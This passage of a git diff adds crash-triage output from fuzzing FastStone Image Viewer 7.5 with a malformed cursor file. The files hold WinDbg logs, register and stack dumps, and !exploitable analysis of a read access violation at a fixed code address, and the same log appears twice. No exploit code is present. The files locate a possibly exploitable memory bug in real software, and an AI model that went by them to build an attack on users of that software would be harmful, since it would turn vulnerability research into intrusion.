+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..73107e6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..717238d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x76C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x76C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(76c.11cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e17b10 edx=00003879 esi=12738f10 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.65256e+020 -5.32855e+013 114274 2.61894e-012 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036d000 6489da1c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..717238d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29811/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x76C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x76C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(76c.11cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e17b10 edx=00003879 esi=12738f10 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.65256e+020 -5.32855e+013 114274 2.61894e-012 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036d000 6489da1c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] 